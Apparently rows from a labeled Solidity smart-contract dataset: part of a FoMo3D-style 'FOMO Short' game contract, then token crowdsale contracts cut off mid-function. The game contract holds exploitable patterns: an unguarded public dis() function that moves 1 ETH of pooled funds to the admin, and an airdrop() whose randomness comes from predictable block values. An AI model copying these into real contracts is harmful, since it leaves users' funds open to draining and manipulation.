return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
_com = _com.add(_p3d.sub(_p3d / 2));
admin.transfer(_com);
_res = _res.add(_p3d / 2);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _p1 = _eth / 100;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _p3d.add(_aff);
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
uint256 _potAmount = _p3d / 2;
admin.transfer(_p3d.sub(_potAmount));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function dis()
external
{
admin.transfer(1000000000000000000);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 |
pragma solidity ^0.4.18;
contract SafeMathLib {
function safeMul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint c = a + b;
assert(c>=a);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
}
contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract FractionalERC20 is ERC20 {
uint8 public decimals;
}
contract StandardToken is ERC20, SafeMathLib {
event Minted(address receiver, uint256 amount);
mapping(address => uint) balances;
mapping (address => mapping (address => uint256)) allowed;
function transfer(address _to, uint256 _value)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = safeSub(balances[msg.sender],_value);
balances[_to] = safeAdd(balances[_to],_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
uint _allowance = allowed[_from][msg.sender];
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= _allowance);
require(balances[_to] + _value > balances[_to]);
balances[_to] = safeAdd(balances[_to],_value);
balances[_from] = safeSub(balances[_from],_value);
allowed[_from][msg.sender] = safeSub(_allowance,_value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint256 _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = safeAdd(allowed[msg.sender][_spender],_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = safeSub(oldValue,_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract UpgradeAgent {
uint public originalSupply;
function isUpgradeAgent() public pure returns (bool) {
return true;
}
function upgradeFrom(address _from, uint256 _value) public;
}
contract UpgradeableToken is StandardToken {
address public upgradeMaster;
UpgradeAgent public upgradeAgent;
uint256 public totalUpgraded;
enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading}
event Upgrade(address indexed _from, address indexed _to, uint256 _value);
event UpgradeAgentSet(address agent);
function UpgradeableToken(address _upgradeMaster) public {
upgradeMaster = _upgradeMaster;
}
function upgrade(uint256 value) public {
UpgradeState state = getUpgradeState();
require((state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading));
require (value != 0);
balances[msg.sender] = safeSub(balances[msg.sender],value);
totalSupply = safeSub(totalSupply,value);
totalUpgraded = safeAdd(totalUpgraded,value);
upgradeAgent.upgradeFrom(msg.sender, value);
Upgrade(msg.sender, upgradeAgent, value);
}
function setUpgradeAgent(address agent) external {
require(canUpgrade());
require(agent != 0x0);
require(msg.sender == upgradeMaster);
require(getUpgradeState() != UpgradeState.Upgrading);
upgradeAgent = UpgradeAgent(agent);
require(upgradeAgent.isUpgradeAgent());
require(upgradeAgent.originalSupply() == totalSupply);
UpgradeAgentSet(upgradeAgent);
}
function getUpgradeState() public constant returns(UpgradeState) {
if(!canUpgrade()) return UpgradeState.NotAllowed;
else if(address(upgradeAgent) == 0x00) return UpgradeState.WaitingForAgent;
else if(totalUpgraded == 0) return UpgradeState.ReadyToUpgrade;
else return UpgradeState.Upgrading;
}
function setUpgradeMaster(address master) public {
require(master != 0x0);
require(msg.sender == upgradeMaster);
upgradeMaster = master;
}
function canUpgrade() public view returns(bool) {
return true;
}
}
contract ReleasableToken is ERC20, Ownable {
address public releaseAgent;
bool public released = false;
mapping (address => bool) public transferAgents;
modifier canTransfer(address _sender) {
if(!released) {
require(transferAgents[_sender]);
}
_;
}
function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public {
releaseAgent = addr;
}
function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public {
transferAgents[addr] = state;
}
function releaseTokenTransfer() public onlyReleaseAgent {
released = true;
}
modifier inReleaseState(bool releaseState) {
require(releaseState == released);
_;
}
modifier onlyReleaseAgent() {
require(msg.sender == releaseAgent);
_;
}
function transfer(address _to, uint _value) canTransfer(msg.sender) public returns (bool success) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) canTransfer(_from) public returns (bool success) {
return super.transferFrom(_from, _to, _value);
}
}
contract MintableToken is StandardToken, Ownable {
bool public mintingFinished = false;
mapping (address => bool) public mintAgents;
event MintingAgentChanged(address addr, bool state);
event Mint(address indexed to, uint256 amount);
function mint(address receiver, uint256 amount) onlyMintAgent canMint public returns(bool){
totalSupply = safeAdd(totalSupply, amount);
balances[receiver] = safeAdd(balances[receiver], amount);
Mint(receiver, amount);
Transfer(0, receiver, amount);
return true;
}
function setMintAgent(address addr, bool state) onlyOwner canMint public {
mintAgents[addr] = state;
MintingAgentChanged(addr, state);
}
modifier onlyMintAgent() {
require(mintAgents[msg.sender]);
_;
}
modifier canMint() {
require(!mintingFinished);
_;
}
}
contract CrowdsaleToken is ReleasableToken, MintableToken, UpgradeableToken {
event UpdatedTokenInformation(string newName, string newSymbol);
string public name;
string public symbol;
uint8 public decimals;
function CrowdsaleToken(string _name, string _symbol, uint _initialSupply, uint8 _decimals, bool _mintable)
public
UpgradeableToken(msg.sender)
{
owner = msg.sender;
name = _name;
symbol = _symbol;
totalSupply = _initialSupply;
decimals = _decimals;
balances[owner] = totalSupply;
if(totalSupply > 0) {
Minted(owner, totalSupply);
}
if(!_mintable) {
mintingFinished = true;
require(totalSupply != 0);
}
}
function releaseTokenTransfer() public onlyReleaseAgent {
mintingFinished = true;
super.releaseTokenTransfer();
}
function canUpgrade() public view returns(bool) {
return released && super.canUpgrade();
}
function setTokenInformation(string _name, string _symbol) onlyOwner public {
name = _name;
symbol = _symbol;
UpdatedTokenInformation(name, symbol);
}
}
contract FinalizeAgent {
function isFinalizeAgent() public pure returns(bool) {
return true;
}
function isSane() public view returns (bool);
function finalizeCrowdsale() public ;
}
contract PricingStrategy {
function isPricingStrategy() public pure returns (bool) {
return true;
}
function isSane(address crowdsale) public view returns (bool) {
return true;
}
function calculatePrice(uint256 value, uint256 weiRaised, uint256 tokensSold, address msgSender, uint256 decimals) public constant returns (uint256 tokenAmount);
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
require(!halted);
_;
}
modifier onlyInEmergency {
require(halted);
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract Allocatable is Ownable {
mapping (address => bool) public allocateAgents;
event AllocateAgentChanged(address addr, bool state );
function setAllocateAgent(address addr, bool state) onlyOwner public {
allocateAgents[addr] = state;
AllocateAgentChanged(addr, state);
}
modifier onlyAllocateAgent() {
require(allocateAgents[msg.sender]);
_;
}
}
contract Crowdsale is Allocatable, Haltable, SafeMathLib {
uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5;
FractionalERC20 public token;
PricingStrategy public pricingStrategy;
FinalizeAgent public finalizeAgent;
address public multisigWallet;
uint256 public minimumFundingGoal;
uint256 public startsAt;
uint256 public endsAt;
uint256 public tokensSold = 0;
uint256 public weiRaised = 0;
uint256 public investorCount = 0;
uint256 public loadedRefund = 0;
uint256 public weiRefunded = 0;
bool public finalized;
bool public requireCustomerId;
bool public requiredSignedAddress;
address public signerAddress;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
mapping (address => bool) public earlyParticipantWhitelist;
uint256 public ownerTestValue;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding}
event Invested(address investor, uint256 weiAmount, uint256 tokenAmount, uint128 customerId);
event Refund(address investor, uint256 weiAmount);
event InvestmentPolicyChanged(bool requireCustId, bool requiredSignedAddr, address signerAddr);
event Whitelisted(address addr, bool status);
event EndsAtChanged(uint256 endAt);
function Crowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet,
uint256 _start, uint256 _end, uint256 _minimumFundingGoal) public {
owner = msg.sender;
token = FractionalERC20(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
require(multisigWallet != 0);
require(_start != 0);
startsAt = _start;
require(_end != 0);
endsAt = _end;
require(startsAt < endsAt);
minimumFundingGoal = _minimumFundingGoal;
}
function() payable public {
require(false);
}
function investInternal(address receiver, uint128 customerId) stopInEmergency private {
if(getState() == State.PreFunding) {
require(earlyParticipantWhitelist[receiver]);
} else if(getState() == State.Funding) {
} else {
require(false);
}
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals());
require(tokenAmount != 0);
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = safeAdd(investedAmountOf[receiver],weiAmount);
tokenAmountOf[receiver] = safeAdd(tokenAmountOf[receiver],tokenAmount);
weiRaised = safeAdd(weiRaised,weiAmount);
tokensSold = safeAdd(tokensSold,tokenAmount);
require(!isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold));
assignTokens(receiver, tokenAmount);
require(multisigWallet.send(weiAmount));
Invested(receiver, weiAmount, tokenAmount, customerId);
}
function preallocate(address receiver, uint256 tokenAmount, uint256 weiPrice) public onlyAllocateAgent {
uint256 weiAmount = (weiPrice * tokenAmount)/10**uint256(token.decimals());
weiRaised = safeAdd(weiRaised,weiAmount);
tokensSold = safeAdd(tokensSold,tokenAmount);
investedAmountOf[receiver] = safeAdd(investedAmountOf[receiver],weiAmount);
tokenAmountOf[receiver] = safeAdd(tokenAmountOf[receiver],tokenAmount);
assignTokens(receiver, tokenAmount);
Invested(receiver, weiAmount, tokenAmount, 0);
}
function investWithCustomerId(address addr, uint128 customerId) public payable {
require(!requiredSignedAddress);
require(customerId != 0);
investInternal(addr, customerId);
}
function invest(address addr) public payable {
require(!requireCustomerId);
require(!requiredSignedAddress);
investInternal(addr, 0);
}
function buyWithCustomerId(uint128 customerId) public payable {
investWithCustomerId(msg.sender, customerId);
}
function buy() public payable {
invest(msg.sender);
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
require(!finalized);
if(address(finalizeAgent) != 0) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) public onlyOwner {
finalizeAgent = addr;
require(finalizeAgent.isFinalizeAgent());
}
function setRequireCustomerId(bool value) public onlyOwner {
requireCustomerId = value;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setEarlyParicipantWhitelist(address addr, bool status) public onlyOwner {
earlyParticipantWhitelist[addr] = status;
Whitelisted(addr, status);
}
function setEndsAt(uint time) public onlyOwner {
require(now <= time);
endsAt = time;
EndsAtChanged(endsAt);
}
function setPricingStrategy(PricingStrategy _pricingStrategy) public onlyOwner {
pricingStrategy = _pricingStrategy;
require(pricingStrategy.isPricingStrategy());
}
function setMultisig(address addr) public onlyOwner {
require(investorCount <= MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE);
multisigWallet = addr;
}
function loadRefund() public payable inState(State.Failure) {
require(msg.value != 0);
loadedRefund = safeAdd(loadedRefund,msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
require(weiValue != 0);
investedAmountOf[msg.sender] = 0;
weiRefunded = safeAdd(weiRefunded,weiValue);
Refund(msg.sender, weiValue);
require(msg.sender.send(weiValue));
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function isFinalizerSane() public constant returns (bool sane) {
return finalizeAgent.isSane();
}
function isPricingSane() public constant returns (bool sane) {
return pricingStrategy.isSane(address(this));
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
else if (!finalizeAgent.isSane()) return State.Preparing;
else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;
else return State.Failure;
}
function setOwnerTestValue(uint val) public onlyOwner {
ownerTestValue = val;
}
function isCrowdsale() public pure returns (bool) {
return true;
}
modifier inState(State state) {
require(getState() == state);
_;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) public constant returns (bool limitBroken);
function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) private;
}
contract BonusFinalizeAgent is FinalizeAgent, SafeMathLib {
CrowdsaleToken public token;
Crowdsale public crowdsale;
uint256 public totalMembers;
uint256 public allocatedBonus;
mapping (address=>uint256) bonusOf;
address[] public teamAddresses;
function BonusFinalizeAgent(CrowdsaleToken _token, Crowdsale _crowdsale, uint256[] _bonusBasePoints, address[] _teamAddresses) public {
token = _token;
crowdsale = _crowdsale;
require(address(crowdsale) != 0);
require(_bonusBasePoints.length == _teamAddresses.length);
totalMembers = _teamAddresses.length;
teamAddresses = _teamAddresses;
for (uint256 i=0;i<totalMembers;i++) {
require(_bonusBasePoints[i] != 0);
}
for (uint256 j=0;j<totalMembers;j++) {
require(_teamAddresses[j] != 0);
bonusOf[_teamAddresses[j]] = _bonusBasePoints[j];
}
}
function isSane() public view returns (bool) {
return (token.mintAgents(address(this)) == true) && (token.releaseAgent() == address(this));
}
function finalizeCrowdsale() public {
require(msg.sender == address(crowdsale));
uint tokensSold = crowdsale.tokensSold();
for (uint256 i=0;i<totalMembers;i++) {
allocatedBonus = safeMul(tokensSold, bonusOf[teamAddresses[i]]) / 10000;
token.mint(teamAddresses[i], allocatedBonus);
}
token.releaseTokenTransfer();
}
}
contract MintedEthCappedCrowdsale is Crowdsale {
uint public weiCap;
function MintedEthCappedCrowdsale(address _token, PricingStrategy _pricingStrategy,
address _multisigWallet, uint256 _start, uint256 _end, uint256 _minimumFundingGoal, uint256 _weiCap)
Crowdsale(_token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal) public
{
weiCap = _weiCap;
}
function isBreakingCap(uint256 weiAmount, uint256 tokenAmount, uint256 weiRaisedTotal, uint256 tokensSoldTotal) public constant returns (bool limitBroken) {
return weiRaisedTotal > weiCap;
}
function isCrowdsaleFull() public constant returns (bool) {
return weiRaised >= weiCap;
}
function assignTokens(address receiver, uint256 tokenAmount) private {
MintableToken mintableToken = MintableToken(token);
mintableToken.mint(receiver, tokenAmount);
}
}
contract EthTranchePricing is PricingStrategy, Ownable, SafeMathLib {
uint public constant MAX_TRANCHES = 10;
mapping (address => uint256) public preicoAddresses;
struct Tranche {
uint amount;
uint price;
}
Tranche[10] public tranches;
uint public trancheCount;
function EthTranchePricing(uint[] _tranches) public {
require(!(_tranches.length % 2 == 1 || _tranches.length >= MAX_TRANCHES*2));
trancheCount = _tranches.length / 2;
